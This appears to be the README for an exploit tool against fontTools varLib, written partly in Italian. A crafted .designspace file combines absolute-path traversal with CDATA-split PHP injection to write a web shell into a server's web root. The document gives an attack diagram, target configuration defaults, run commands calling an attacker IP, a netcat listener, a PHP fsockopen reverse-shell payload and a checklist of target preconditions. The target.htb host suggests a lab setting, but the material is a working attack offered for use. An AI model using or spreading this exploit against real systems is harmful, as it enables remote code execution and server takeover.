L'attaccante crea un .designspace dannoso
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── PATH TRAVERSAL
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir scartata → scrittura nella web root
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── INIEZIONE XML
                         La separazione CDATA incorpora PHP grezzo
                         nel binario del font di output
            │
            ▼
    fontTools.varLib.main() elabora il file lato server
            │
            ▼
    shell.php scritto in una directory accessibile via web
            │
            ▼
    GET /files/shell.php → PHP esegue → callback reverse shell
            │
            ▼
    RCE come www-data

pip install fonttools requests

nc (netcat) — richiesto per la modalità listener automatica (--no-listen lo salta)

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

# ══════════════════════════════════════════════════════════════════════════════
#  DEFAULTS
#  Change these to match your target before running.
#  All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════

# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST      = "http://test.com"

# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT          = "/var/www/test.com/public/files"

# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST       = "http://testing.test.com/files"

# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX     = "f0nt_"

# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8

python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>

# Terminale 1 — avvia il tuo listener
nc -lvnp 4444

# Terminale 2 — esegui l'exploit senza listener automatico
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

output_path = os.path.join(output_dir, filename)

filename = vf.filename                             # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename)  # path traversal via absolute path
vf.save(output_path)                              # arbitrary file write

[ ] La versione di fonttools sul target è >= 4.33.0 e < 4.60.2
[ ] Il target accetta upload di file .designspace + .ttf
[ ] Il backend chiama fontTools.varLib.main() sul .designspace caricato
[ ] I nomi dei campi del form di upload confermati con Burp (designspace + masters)
[ ] WEBROOT è accessibile via web dall'esterno
[ ] WEBROOT è scrivibile dal processo web (www-data o equivalente)
[ ] SHELL_HOST (--shell) è raggiungibile dalla tua macchina
[ ] Il nome host del target è in /etc/hosts